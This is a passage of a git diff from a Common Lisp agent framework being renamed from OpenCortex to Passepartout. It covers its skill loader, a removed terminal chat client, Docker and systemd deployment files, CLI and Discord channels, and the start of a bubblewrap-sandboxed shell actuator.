(entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
|
||||
(setf (skill-entry-status entry) :loading)
|
||||
(handler-case
|
||||
(let* ((content (uiop:read-file-string filepath))
|
||||
(lines (uiop:split-string content :separator '(#\Newline)))
|
||||
(in-lisp-block nil) (collect-this-block nil) (lisp-code "")
|
||||
(pkg-name (intern (string-upcase (format nil "OPENCORTEX.SKILLS.~a" skill-base-name)) :keyword)))
|
||||
(dolist (line lines)
|
||||
(let ((clean-line (string-trim '(#\Space #\Tab #\Return) line)))
|
||||
(cond
|
||||
((uiop:string-prefix-p "#+begin_src lisp" clean-line)
|
||||
(setf in-lisp-block t)
|
||||
(let ((target (extract-tangle-target clean-line)))
|
||||
;; Collect if there's no tangle target (inherits from file)
|
||||
;; or if it's a lisp file and NOT a test.
|
||||
(setf collect-this-block (or (null target)
|
||||
(and (not (search "no" target))
|
||||
(not (search "/tests" target)))))))
|
||||
((uiop:string-prefix-p "#+end_src" clean-line)
|
||||
(setf in-lisp-block nil) (setf collect-this-block nil))
|
||||
((and in-lisp-block collect-this-block)
|
||||
(unless (or (uiop:string-prefix-p ":PROPERTIES:" (string-upcase clean-line))
|
||||
(uiop:string-prefix-p ":END:" (string-upcase clean-line))
|
||||
(uiop:string-prefix-p ":ID:" (string-upcase clean-line)))
|
||||
(setf lisp-code (concatenate 'string lisp-code line (string #\Newline))))))))
|
||||
(if (= (length lisp-code) 0)
|
||||
(setf (skill-entry-status entry) :ready)
|
||||
(progn
|
||||
(multiple-value-bind (valid-p err) (validate-lisp-syntax lisp-code)
|
||||
(unless valid-p (error err)))
|
||||
(unless (find-package pkg-name)
|
||||
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :opencortex new-pkg)))
|
||||
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
|
||||
(harness-log "LOADER: Evaluating code for '~a' in package ~a" skill-base-name (package-name *package*))
|
||||
(eval (read-from-string (format nil "(progn ~a)" lisp-code))))
|
||||
|
||||
;; Export symbols back to :OPENCORTEX for discoverability and testing
|
||||
(let* ((target-pkg (find-package :opencortex))
|
||||
(raw-name (string-upcase skill-base-name))
|
||||
(short-name (if (uiop:string-prefix-p "ORG-SKILL-" raw-name)
|
||||
(subseq raw-name 10)
|
||||
raw-name)))
|
||||
(harness-log "LOADER: Scanning package ~a for symbols to export..." (package-name (find-package pkg-name)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (eq (symbol-package sym) (find-package pkg-name))
|
||||
(let ((sn (symbol-name sym)))
|
||||
(when (or (uiop:string-prefix-p raw-name sn)
|
||||
(uiop:string-prefix-p short-name sn)
|
||||
(string-equal sn "DOCTOR-MAIN")
|
||||
(string-equal sn "RUN-SETUP-WIZARD"))
|
||||
(harness-log "LOADER: Exporting ~a to :OPENCORTEX" sn)
|
||||
;; Resolve potential name conflicts by uninterning first
|
||||
(let ((existing (find-symbol sn target-pkg)))
|
||||
(when (and existing (not (eq existing sym)))
|
||||
(unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg))))))
|
||||
|
||||
(setf (skill-entry-status entry) :ready)))
|
||||
t)
|
||||
(error (c)
|
||||
(harness-log "LOADER ERROR in skill '~a': ~a" skill-base-name c)
|
||||
(setf (skill-entry-status entry) :failed) nil))))
|
||||
|
||||
(defun load-skill-from-lisp (filepath)
|
||||
"Loads a .lisp skill file directly, filtering out in-package forms."
|
||||
(let* ((skill-base-name (pathname-name filepath))
|
||||
(entry (or (gethash skill-base-name *skill-catalog*) (setf (gethash skill-base-name *skill-catalog*) (make-skill-entry :filename skill-base-name)))))
|
||||
(setf (skill-entry-status entry) :loading)
|
||||
(handler-case
|
||||
(let* ((content (remove-in-package-forms (uiop:read-file-string filepath)))
|
||||
(pkg-name (intern (string-upcase (format nil "OPENCORTEX.SKILLS.~a" skill-base-name)) :keyword)))
|
||||
(multiple-value-bind (valid-p err) (validate-lisp-syntax content)
|
||||
(unless valid-p (error err)))
|
||||
(unless (find-package pkg-name)
|
||||
(let ((new-pkg (make-package pkg-name :use '(:cl)))) (use-package :opencortex new-pkg)))
|
||||
(let ((*read-eval* nil) (*package* (find-package pkg-name)))
|
||||
(harness-log "LOADER: Loading .lisp skill '~a' in package ~a" skill-base-name (package-name *package*))
|
||||
;; Evaluate forms individually so one bad form doesn't abort the entire skill
|
||||
(with-input-from-string (s content)
|
||||
(loop for form = (read s nil :eof) until (eq form :eof)
|
||||
do (handler-case (eval form)
|
||||
(error (c) (harness-log "LOADER WARNING in '~a': ~a" skill-base-name c))))))
|
||||
;; Export symbols
|
||||
(let* ((target-pkg (find-package :opencortex))
|
||||
(raw-name (string-upcase skill-base-name))
|
||||
(short-name (if (uiop:string-prefix-p "ORG-SKILL-" raw-name)
|
||||
(subseq raw-name 10)
|
||||
raw-name)))
|
||||
(harness-log "LOADER: Scanning package ~a for symbols to export..." (package-name (find-package pkg-name)))
|
||||
(do-symbols (sym (find-package pkg-name))
|
||||
(when (eq (symbol-package sym) (find-package pkg-name))
|
||||
(let ((sn (symbol-name sym)))
|
||||
(when (or (uiop:string-prefix-p raw-name sn)
|
||||
(uiop:string-prefix-p short-name sn)
|
||||
(string-equal sn "DOCTOR-MAIN")
|
||||
(string-equal sn "RUN-SETUP-WIZARD"))
|
||||
(harness-log "LOADER: Exporting ~a to :OPENCORTEX" sn)
|
||||
(let ((existing (find-symbol sn target-pkg)))
|
||||
(when (and existing (not (eq existing sym)))
|
||||
(unintern existing target-pkg)))
|
||||
(import sym target-pkg)
|
||||
(export sym target-pkg))))))
|
||||
(setf (skill-entry-status entry) :ready))
|
||||
(error (c)
|
||||
(harness-log "LOADER ERROR in skill '~a': ~a" skill-base-name c)
|
||||
(setf (skill-entry-status entry) :failed) nil))))
|
||||
|
||||
(defun initialize-all-skills ()
|
||||
"Initializes all skills from SKILLS_DIR."
|
||||
(let* ((env-path (uiop:getenv "SKILLS_DIR"))
|
||||
(skills-dir (uiop:ensure-directory-pathname (or env-path (namestring (merge-pathnames "notes/" (user-homedir-pathname)))))))
|
||||
(unless (uiop:directory-exists-p skills-dir) (return-from initialize-all-skills nil))
|
||||
(let ((sorted-files (topological-sort-skills skills-dir)))
|
||||
(harness-log "LOADER: Initializing ~a skills..." (length sorted-files))
|
||||
(dolist (file sorted-files)
|
||||
(if (uiop:string-suffix-p (namestring file) ".lisp")
|
||||
(load-skill-from-lisp file)
|
||||
(load-skill-from-org file)))
|
||||
(harness-log "LOADER: Boot Complete."))))
|
||||
@@ -1,147 +0,0 @@
|
||||
(in-package :cl-user)
|
||||
(defpackage :opencortex.tui
|
||||
(:use :cl :croatoan :usocket)
|
||||
(:export :main))
|
||||
(in-package :opencortex.tui)
|
||||
|
||||
(defvar *daemon-host* "127.0.0.1")
|
||||
(defvar *daemon-port* 9105)
|
||||
(defvar *socket* nil)
|
||||
(defvar *stream* nil)
|
||||
(defvar *chat-history* nil)
|
||||
(defvar *scroll-index* 0)
|
||||
(defvar *input-buffer* (make-array 0 :element-type 'char :fill-pointer 0 :adjustable t))
|
||||
(defvar *is-running* t)
|
||||
(defvar *queue-lock* (bt:make-lock))
|
||||
(defvar *incoming-msgs* nil)
|
||||
|
||||
(defun enqueue-msg (msg)
|
||||
"Thread-safe addition to incoming message queue."
|
||||
(bt:with-lock-held (*queue-lock*)
|
||||
(setf *incoming-msgs* (append *incoming-msgs* (list msg)))))
|
||||
|
||||
(defun dequeue-msgs ()
|
||||
"Thread-safe retrieval of incoming messages."
|
||||
(bt:with-lock-held (*queue-lock*)
|
||||
(let ((msgs *incoming-msgs*))
|
||||
(setf *incoming-msgs* nil)
|
||||
msgs)))
|
||||
|
||||
(defun get-line-style (text)
|
||||
(cond
|
||||
((uiop:string-prefix-p "*" text) '(:bold :yellow))
|
||||
((uiop:string-prefix-p "⬆" text) '(:cyan))
|
||||
((uiop:string-prefix-p "🤔" text) '(:italic))
|
||||
((uiop:string-prefix-p "ERROR" text) '(:bold :red))
|
||||
(t nil)))
|
||||
|
||||
(defun render-chat (win)
|
||||
(clear win)
|
||||
(let* ((h (height win))
|
||||
(view-height (max 0 (- h 2)))
|
||||
(history-len (length *chat-history*))
|
||||
(start-idx *scroll-index*)
|
||||
(end-idx (min history-len (+ start-idx view-height)))
|
||||
(slice (reverse (subseq *chat-history* start-idx end-idx))))
|
||||
(loop for msg in slice
|
||||
for i from 1
|
||||
do (add-string win (format nil "│ ~a" msg) :y i :x 1 :attributes (get-line-style msg)))
|
||||
(refresh win)))
|
||||
|
||||
(defun handle-backspace ()
|
||||
(when (> (fill-pointer *input-buffer*) 0)
|
||||
(decf (fill-pointer *input-buffer*))))
|
||||
|
||||
(defun handle-return (stream)
|
||||
(let ((cmd (coerce *input-buffer* 'string)))
|
||||
(setf (fill-pointer *input-buffer*) 0)
|
||||
(when (> (length cmd) 0)
|
||||
(enqueue-msg (format nil "⬆ ~a" cmd))
|
||||
(handler-case
|
||||
(progn
|
||||
(when (and stream (open-stream-p stream))
|
||||
(let* ((msg (list :TYPE :EVENT
|
||||
:META (list :SOURCE :tui)
|
||||
:PAYLOAD (list :SENSOR :user-input :TEXT cmd)))
|
||||
(payload (format nil "~s" msg))
|
||||
(len (length payload)))
|
||||
(format stream "~6,'0x~a" len payload)
|
||||
(finish-output stream)))
|
||||
(enqueue-msg "✓ Sent"))
|
||||
(error (c)
|
||||
(format t "Send error: ~a~%" c)
|
||||
(enqueue-msg "ERROR: Connection to daemon lost.")
|
||||
(setf *is-running* nil))))
|
||||
(when (string= cmd "/exit") (setf *is-running* nil))
|
||||
(when (string= cmd "/clear") (setf *chat-history* nil))))
|
||||
|
||||
(defun start-background-reader (stream)
|
||||
"Starts a thread that reads framed messages from the daemon stream."
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop while *is-running* do
|
||||
(handler-case
|
||||
(let* ((len-buf (make-string 6))
|
||||
(count (read-sequence len-buf stream)))
|
||||
(when (= count 6)
|
||||
(let* ((msg-len (parse-integer len-buf :radix 16))
|
||||
(msg-buf (make-string msg-len)))
|
||||
(read-sequence msg-buf stream)
|
||||
(let ((msg (read-from-string msg-buf)))
|
||||
(let ((payload (getf msg :payload)))
|
||||
(cond
|
||||
((eq (getf payload :action) :handshake)
|
||||
(enqueue-msg "* Connected to daemon *"))
|
||||
((and (eq (getf payload :sensor) :loop-error)
|
||||
(not (string= (or (getf payload :message) "") "Neural Cascade Failure: All providers exhausted.")))
|
||||
(enqueue-msg (format nil "ERROR: Daemon loop error (~a)"
|
||||
(getf payload :message))))
|
||||
(t
|
||||
(let ((text (or (getf payload :text) (format nil "~a" payload))))
|
||||
(enqueue-msg (format nil "⬇ ~a" text)))))))))
|
||||
(error (c)
|
||||
(when *is-running*
|
||||
(enqueue-msg (format nil "ERROR: Connection lost (~a)" c))
|
||||
(setf *is-running* nil))))))
|
||||
:name "opencortex-tui-reader"))
|
||||
|
||||
(defun main ()
|
||||
(handler-case
|
||||
(setf *socket* (usocket:socket-connect *daemon-host* *daemon-port*))
|
||||
(error (e) (format t "Offline: ~a~%" e) (return-from main)))
|
||||
(setf *stream* (usocket:socket-stream *socket*))
|
||||
|
||||
;; Guard: Croatoan needs a real terminal (TERM env var, real TTY)
|
||||
(unless (uiop:getenv "TERM")
|
||||
(format t "TUI requires a terminal. Set TERM environment variable.~%")
|
||||
(format t "Or use: echo 'your message' | nc localhost 9105~%")
|
||||
(return-from main))
|
||||
|
||||
(unwind-protect
|
||||
(handler-case
|
||||
(with-screen (scr :input-echoing nil :input-blocking nil :enable-colors t)
|
||||
(let* ((h (height scr)) (w (width scr)))
|
||||
(let ((chat-win (make-instance 'window :height (- h 5) :width (- w 2) :position '(1 1) :border t))
|
||||
(input-win (make-instance 'window :height 1 :width (- w 2) :position (list (- h 2) 1) :border t)))
|
||||
(setf (input-blocking input-win) nil)
|
||||
(start-background-reader *stream*)
|
||||
(loop :while *is-running* :do
|
||||
(let ((msgs (dequeue-msgs)))
|
||||
(when msgs
|
||||
(dolist (m msgs) (push m *chat-history*))
|
||||
(render-chat chat-win)))
|
||||
(let* ((ev (get-event input-win))
|
||||
(ch (when (and ev (typep ev 'event)) (event-key ev))))
|
||||
(when ch
|
||||
(cond
|
||||
((or (eq ch #\Newline) (eq ch #\Return)) (handle-return *stream*))
|
||||
((or (eq ch :backspace) (eq ch (code-char 127))) (handle-backspace))
|
||||
((characterp ch) (vector-push-extend ch *input-buffer*))))
|
||||
(clear input-win)
|
||||
(add-string input-win (format nil "▶ ~a" (coerce *input-buffer* 'string)) :y 0 :x 1)
|
||||
(refresh input-win))
|
||||
(sleep 0.02)))))
|
||||
(error (c)
|
||||
(format t "TUI Error: ~a~%" c)))
|
||||
(setf *is-running* nil)
|
||||
(when *socket* (ignore-errors (usocket:socket-close *socket*)))))
|
||||
@@ -1,204 +0,0 @@
|
||||
#+TITLE: OpenCortex TUI Client (Standalone)
|
||||
#+STARTUP: content
|
||||
#+FILETAGS: :tui:ux:client:
|
||||
#+PROPERTY: header-args:lisp :tangle tui-client.lisp
|
||||
|
||||
* Overview
|
||||
The OpenCortex TUI Client is a standalone Common Lisp application built on **Croatoan**.
|
||||
|
||||
* Test Suite
|
||||
#+begin_src lisp :tangle ../tests/tui-tests.lisp
|
||||
(defpackage :opencortex-tui-tests
|
||||
(:use :cl :opencortex)
|
||||
(:export #:tui-suite))
|
||||
|
||||
(in-package :opencortex-tui-tests)
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(fiveam:def-suite tui-suite :description "Verification of the TUI parsing and styling logic")
|
||||
(fiveam:in-suite tui-suite)
|
||||
|
||||
(fiveam:test test-tui-connection-drop
|
||||
"Tier 2 Chaos: Verify that handle-return degrades gracefully when the daemon connection is lost."
|
||||
(let ((opencortex.tui::*incoming-msgs* nil)
|
||||
(opencortex.tui::*input-buffer* (make-array 5 :element-type 'char :initial-contents "hello" :fill-pointer 5 :adjustable t))
|
||||
;; Create a closed stream to simulate connection drop
|
||||
(mock-stream (make-string-output-stream)))
|
||||
(close mock-stream)
|
||||
(opencortex.tui::handle-return mock-stream)
|
||||
;; Check if the error was enqueued to history instead of crashing
|
||||
(fiveam:is (member "ERROR: Connection to daemon lost." opencortex.tui::*incoming-msgs* :test #'string=))))
|
||||
#+end_src
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :cl-user)
|
||||
(defpackage :opencortex.tui
|
||||
(:use :cl :croatoan :usocket)
|
||||
(:export :main))
|
||||
(in-package :opencortex.tui)
|
||||
#+end_src
|
||||
|
||||
** Global State
|
||||
#+begin_src lisp
|
||||
(defvar *daemon-host* "127.0.0.1")
|
||||
(defvar *daemon-port* 9105)
|
||||
(defvar *socket* nil)
|
||||
(defvar *stream* nil)
|
||||
(defvar *chat-history* nil)
|
||||
(defvar *scroll-index* 0)
|
||||
(defvar *input-buffer* (make-array 0 :element-type 'char :fill-pointer 0 :adjustable t))
|
||||
(defvar *is-running* t)
|
||||
(defvar *queue-lock* (bt:make-lock))
|
||||
(defvar *incoming-msgs* nil)
|
||||
#+end_src
|
||||
|
||||
** Utilities
|
||||
#+begin_src lisp
|
||||
(defun enqueue-msg (msg)
|
||||
"Thread-safe addition to incoming message queue."
|
||||
(bt:with-lock-held (*queue-lock*)
|
||||
(setf *incoming-msgs* (append *incoming-msgs* (list msg)))))
|
||||
|
||||
(defun dequeue-msgs ()
|
||||
"Thread-safe retrieval of incoming messages."
|
||||
(bt:with-lock-held (*queue-lock*)
|
||||
(let ((msgs *incoming-msgs*))
|
||||
(setf *incoming-msgs* nil)
|
||||
msgs)))
|
||||
|
||||
(defun get-line-style (text)
|
||||
(cond
|
||||
((uiop:string-prefix-p "*" text) '(:bold :yellow))
|
||||
((uiop:string-prefix-p "⬆" text) '(:cyan))
|
||||
((uiop:string-prefix-p "🤔" text) '(:italic))
|
||||
((uiop:string-prefix-p "ERROR" text) '(:bold :red))
|
||||
(t nil)))
|
||||
#+end_src
|
||||
|
||||
** Rendering
|
||||
#+begin_src lisp
|
||||
(defun render-chat (win)
|
||||
(clear win)
|
||||
(let* ((h (height win))
|
||||
(view-height (max 0 (- h 2)))
|
||||
(history-len (length *chat-history*))
|
||||
(start-idx *scroll-index*)
|
||||
(end-idx (min history-len (+ start-idx view-height)))
|
||||
(slice (reverse (subseq *chat-history* start-idx end-idx))))
|
||||
(loop for msg in slice
|
||||
for i from 1
|
||||
do (add-string win (format nil "│ ~a" msg) :y i :x 1 :attributes (get-line-style msg)))
|
||||
(refresh win)))
|
||||
#+end_src
|
||||
|
||||
** Input Handling
|
||||
#+begin_src lisp
|
||||
(defun handle-backspace ()
|
||||
(when (> (fill-pointer *input-buffer*) 0)
|
||||
(decf (fill-pointer *input-buffer*))))
|
||||
|
||||
(defun handle-return (stream)
|
||||
(let ((cmd (coerce *input-buffer* 'string)))
|
||||
(setf (fill-pointer *input-buffer*) 0)
|
||||
(when (> (length cmd) 0)
|
||||
(enqueue-msg (format nil "⬆ ~a" cmd))
|
||||
(handler-case
|
||||
(progn
|
||||
(when (and stream (open-stream-p stream))
|
||||
(let* ((msg (list :TYPE :EVENT
|
||||
:META (list :SOURCE :tui)
|
||||
:PAYLOAD (list :SENSOR :user-input :TEXT cmd)))
|
||||
(payload (format nil "~s" msg))
|
||||
(len (length payload)))
|
||||
(format stream "~6,'0x~a" len payload)
|
||||
(finish-output stream)))
|
||||
(enqueue-msg "✓ Sent"))
|
||||
(error (c)
|
||||
(format t "Send error: ~a~%" c)
|
||||
(enqueue-msg "ERROR: Connection to daemon lost.")
|
||||
(setf *is-running* nil))))
|
||||
(when (string= cmd "/exit") (setf *is-running* nil))
|
||||
(when (string= cmd "/clear") (setf *chat-history* nil))))
|
||||
#+end_src
|
||||
|
||||
** Background Reader
|
||||
#+begin_src lisp
|
||||
(defun start-background-reader (stream)
|
||||
"Starts a thread that reads framed messages from the daemon stream."
|
||||
(bt:make-thread
|
||||
(lambda ()
|
||||
(loop while *is-running* do
|
||||
(handler-case
|
||||
(let* ((len-buf (make-string 6))
|
||||
(count (read-sequence len-buf stream)))
|
||||
(when (= count 6)
|
||||
(let* ((msg-len (parse-integer len-buf :radix 16))
|
||||
(msg-buf (make-string msg-len)))
|
||||
(read-sequence msg-buf stream)
|
||||
(let ((msg (read-from-string msg-buf)))
|
||||
(let ((payload (getf msg :payload)))
|
||||
(cond
|
||||
((eq (getf payload :action) :handshake)
|
||||
(enqueue-msg "* Connected to daemon *"))
|
||||
((and (eq (getf payload :sensor) :loop-error)
|
||||
(not (string= (or (getf payload :message) "") "Neural Cascade Failure: All providers exhausted.")))
|
||||
(enqueue-msg (format nil "ERROR: Daemon loop error (~a)"
|
||||
(getf payload :message))))
|
||||
(t
|
||||
(let ((text (or (getf payload :text) (format nil "~a" payload))))
|
||||
(enqueue-msg (format nil "⬇ ~a" text)))))))))
|
||||
(error (c)
|
||||
(when *is-running*
|
||||
(enqueue-msg (format nil "ERROR: Connection lost (~a)" c))
|
||||
(setf *is-running* nil))))))
|
||||
:name "opencortex-tui-reader"))
|
||||
#+end_src
|
||||
|
||||
** Main Entry Point
|
||||
#+begin_src lisp
|
||||
(defun main ()
|
||||
(handler-case
|
||||
(setf *socket* (usocket:socket-connect *daemon-host* *daemon-port*))
|
||||
(error (e) (format t "Offline: ~a~%" e) (return-from main)))
|
||||
(setf *stream* (usocket:socket-stream *socket*))
|
||||
|
||||
;; Guard: Croatoan needs a real terminal (TERM env var, real TTY)
|
||||
(unless (uiop:getenv "TERM")
|
||||
(format t "TUI requires a terminal. Set TERM environment variable.~%")
|
||||
(format t "Or use: echo 'your message' | nc localhost 9105~%")
|
||||
(return-from main))
|
||||
|
||||
(unwind-protect
|
||||
(handler-case
|
||||
(with-screen (scr :input-echoing nil :input-blocking nil :enable-colors t)
|
||||
(let* ((h (height scr)) (w (width scr)))
|
||||
(let ((chat-win (make-instance 'window :height (- h 5) :width (- w 2) :position '(1 1) :border t))
|
||||
(input-win (make-instance 'window :height 1 :width (- w 2) :position (list (- h 2) 1) :border t)))
|
||||
(setf (input-blocking input-win) nil)
|
||||
(start-background-reader *stream*)
|
||||
(loop :while *is-running* :do
|
||||
(let ((msgs (dequeue-msgs)))
|
||||
(when msgs
|
||||
(dolist (m msgs) (push m *chat-history*))
|
||||
(render-chat chat-win)))
|
||||
(let* ((ev (get-event input-win))
|
||||
(ch (when (and ev (typep ev 'event)) (event-key ev))))
|
||||
(when ch
|
||||
(cond
|
||||
((or (eq ch #\Newline) (eq ch #\Return)) (handle-return *stream*))
|
||||
((or (eq ch :backspace) (eq ch (code-char 127))) (handle-backspace))
|
||||
((characterp ch) (vector-push-extend ch *input-buffer*))))
|
||||
(clear input-win)
|
||||
(add-string input-win (format nil "▶ ~a" (coerce *input-buffer* 'string)) :y 0 :x 1)
|
||||
(refresh input-win))
|
||||
(sleep 0.02)))))
|
||||
(error (c)
|
||||
(format t "TUI Error: ~a~%" c)))
|
||||
(setf *is-running* nil)
|
||||
(when *socket* (ignore-errors (usocket:socket-close *socket*)))))
|
||||
#+end_src
|
||||
@@ -1,32 +1,23 @@
|
||||
FROM debian:bullseye-slim
|
||||
FROM debian:trixie-slim
|
||||
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
RUN apt-get update && apt-get install -y \
|
||||
sbcl \
|
||||
emacs-nox \
|
||||
curl \
|
||||
git \
|
||||
socat \
|
||||
netcat-openbsd \
|
||||
libssl-dev \
|
||||
libncurses5-dev \
|
||||
libffi-dev \
|
||||
zlib1g-dev \
|
||||
libsqlite3-dev \
|
||||
sbcl emacs-nox curl git socat netcat-openbsd rlwrap \
|
||||
libssl-dev libncurses-dev libffi-dev zlib1g-dev libsqlite3-dev \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install Quicklisp
|
||||
RUN curl -O https://beta.quicklisp.org/quicklisp.lisp \
|
||||
&& sbcl --non-interactive --load quicklisp.lisp --eval "(quicklisp-quickstart:install)" --eval "(ql-util:without-prompting (ql:add-to-init-file))" \
|
||||
&& sbcl --non-interactive --load quicklisp.lisp \
|
||||
--eval "(quicklisp-quickstart:install)" \
|
||||
--eval "(ql-util:without-prompting (ql:add-to-init-file))" \
|
||||
&& rm quicklisp.lisp
|
||||
|
||||
WORKDIR /app
|
||||
COPY . .
|
||||
|
||||
# Initialize system in non-interactive mode
|
||||
RUN mkdir -p /root/memex && ./opencortex.sh setup --non-interactive
|
||||
RUN mkdir -p /root/memex && ./passepartout.sh configure --non-interactive
|
||||
|
||||
EXPOSE 9105
|
||||
|
||||
CMD ["./opencortex.sh", "boot"]
|
||||
CMD ["./passepartout.sh", "daemon"]
|
||||
|
||||
@@ -1,18 +1,15 @@
|
||||
services:
|
||||
opencortex:
|
||||
passepartout:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
container_name: opencortex
|
||||
env_file: .env
|
||||
context: ../../
|
||||
dockerfile: infrastructure/docker/Dockerfile
|
||||
container_name: passepartout
|
||||
env_file: ../../.env
|
||||
volumes:
|
||||
# Mount the entire memex directory (2 levels up from projects/opencortex)
|
||||
- ../..:/memex
|
||||
# Ensure signal-cli state is preserved
|
||||
- ../../../..:/memex
|
||||
- signal-state:/root/.local/share/signal-cli
|
||||
ports:
|
||||
- "${ORG_AGENT_DAEMON_PORT:-9105}:9105"
|
||||
- "${ORG_AGENT_WEB_PORT:-8080}:8080"
|
||||
restart: unless-stopped
|
||||
|
||||
volumes:
|
||||
|
||||
15
infrastructure/passepartout.service
Normal file
15
infrastructure/passepartout.service
Normal file
@@ -0,0 +1,15 @@
|
||||
[Unit]
|
||||
Description=Passepartout Daemon
|
||||
Documentation=https://github.com/amrgharbeia/passepartout
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=%u
|
||||
ExecStart=%h/projects/passepartout/passepartout daemon
|
||||
Restart=on-failure
|
||||
RestartSec=10
|
||||
WorkingDirectory=%h/projects/passepartout
|
||||
|
||||
[Install]
|
||||
WantedBy=default.target
|
||||
35
lisp/channel-cli.lisp
Normal file
35
lisp/channel-cli.lisp
Normal file
@@ -0,0 +1,35 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun channel-cli-input (text)
|
||||
"Processes raw text from the command line."
|
||||
(stimulus-inject (list :type :EVENT
|
||||
:payload (list :sensor :user-input :text text)
|
||||
:meta (list :source :CLI))))
|
||||
|
||||
(defskill :passepartout-channel-cli
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (eq (getf (getf ctx :meta) :source) :CLI))
|
||||
:deterministic (lambda (action ctx) (declare (ignore ctx)) action))
|
||||
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-channel-cli-tests
|
||||
(:use :cl :passepartout)
|
||||
(:export #:cli-suite))
|
||||
|
||||
(in-package :passepartout-channel-cli-tests)
|
||||
|
||||
(fiveam:def-suite cli-suite :description "Verification of the CLI Gateway")
|
||||
(fiveam:in-suite cli-suite)
|
||||
|
||||
(fiveam:test test-channel-cli-input-format
|
||||
"Contract 1: channel-cli-input injects a properly formed signal without error."
|
||||
(handler-case
|
||||
(progn (channel-cli-input "hello") (fiveam:pass))
|
||||
(error (c)
|
||||
(fiveam:fail "channel-cli-input crashed: ~a" c))))
|
||||
|
||||
(handler-case
|
||||
(progn (channel-cli-input "test-load") (log-message "CLI: Load-time test OK"))
|
||||
(error (c) (log-message "CLI: Load-time test FAILED: ~a" c)))
|
||||
50
lisp/channel-discord.lisp
Normal file
50
lisp/channel-discord.lisp
Normal file
@@ -0,0 +1,50 @@
|
||||
(in-package :passepartout)
|
||||
(defun discord-get-token ()
|
||||
(vault-get-secret :discord))
|
||||
|
||||
(defun discord-send (action context)
|
||||
"Sends a message via Discord REST API."
|
||||
(declare (ignore context))
|
||||
(let* ((payload (getf action :payload))
|
||||
(meta (getf action :meta))
|
||||
(channel-id (or (getf meta :channel-id) (getf payload :chat-id)))
|
||||
(text (or (getf payload :text) (getf action :text)))
|
||||
(token (discord-get-token)))
|
||||
(when (and token channel-id text)
|
||||
(handler-case
|
||||
(dex:post (format nil "https://discord.com/api/v10/channels/~a/messages" channel-id)
|
||||
:headers '(("Authorization" . ,(format nil "Bot ~a" token))
|
||||
("Content-Type" . "application/json"))
|
||||
:content (cl-json:encode-json-to-string
|
||||
`((content . ,text))))
|
||||
(error (c) (log-message "DISCORD ERROR: ~a" c))))))
|
||||
|
||||
(defun discord-poll ()
|
||||
"Polls Discord via HTTP GET /channels/{id}/messages. In production,
|
||||
a WebSocket connection to the Gateway is preferred for real-time events."
|
||||
(let* ((token (discord-get-token)))
|
||||
(when token
|
||||
(handler-case
|
||||
(dolist (channel '("channel-id-here")) ;; configured channel IDs
|
||||
(let* ((last-id (getf (gethash "discord" *gateway-configs*) :last-update-id 0))
|
||||
(url (format nil "https://discord.com/api/v10/channels/~a/messages?after=~a"
|
||||
channel last-id))
|
||||
(response (dex:get url :headers
|
||||
`(("Authorization" . ,(format nil "Bot ~a" token))))))
|
||||
(let ((messages (ignore-errors
|
||||
(cdr (assoc :message
|
||||
(cl-json:decode-json-from-string response))))))
|
||||
(dolist (msg (and (listp messages) messages))
|
||||
(let* ((id (cdr (assoc :id msg)))
|
||||
(content (cdr (assoc :content msg)))
|
||||
(author (cdr (assoc :author msg)))
|
||||
(author-id (cdr (assoc :id author)))
|
||||
(is-bot (cdr (assoc :bot author))))
|
||||
(when (and id content (not is-bot))
|
||||
(setf (getf (gethash "discord" *gateway-configs*) :last-update-id) id)
|
||||
(unless (ignore-errors (hitl-handle-message content :discord))
|
||||
(stimulus-inject
|
||||
(list :type :EVENT
|
||||
:meta (list :source :discord :chat-id channel)
|
||||
:payload (list :sensor :user-input :text content))))))))))
|
||||
(error (c) (log-message "DISCORD POLL ERROR: ~a" c))))))
|
||||
95
lisp/channel-shell.lisp
Normal file
95
lisp/channel-shell.lisp
Normal file
@@ -0,0 +1,95 @@
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *bwrap-available* nil
|
||||
"Set to T at load time if the bwrap binary is found in PATH.")
|
||||
|
||||
(defvar *bwrap-base-args*
|
||||
'("--ro-bind" "/usr" "/usr"
|
||||
"--ro-bind" "/lib" "/lib"
|
||||
"--ro-bind" "/bin" "/bin"
|
||||
"--ro-bind" "/etc" "/etc"
|
||||
"--bind" "/tmp" "/tmp"
|
||||
"--unshare-net"
|
||||
"--unshare-ipc")
|
||||
"Base bwrap arguments for the sandbox. --bind ~/memex ~/memex is added dynamically.")
|
||||
|
||||
(defun bwrap-available-p ()
|
||||
"Returns T if bwrap (bubblewrap) is installed and usable."
|
||||
*bwrap-available*)
|
||||
|
||||
(defun bwrap-wrap-command (cmd timeout memex-dir)
|
||||
"Wrap CMD in a bwrap sandbox with network and IPC isolation.
|
||||
Returns a list suitable for uiop:run-program."
|
||||
`("bwrap"
|
||||
,@*bwrap-base-args*
|
||||
"--bind" ,memex-dir ,memex-dir
|
||||
"timeout" ,(format nil "~a" timeout)
|
||||
"bash" "-c" ,cmd))
|
||||
|
||||
;; Initialize at load time
|
||||
(setf *bwrap-available*
|
||||
(= 0 (nth-value 2 (uiop:run-program '("which" "bwrap") :output nil :error-output nil :ignore-error-status t))))
|
||||
|
||||
(defun actuator-shell-execute (action context)
|
||||
"Executes a shell command via the OS timeout binary with output limit.
|
||||
When bwrap is available, wraps the command in a Linux namespace sandbox."
|
||||
(declare (ignore context))
|
||||
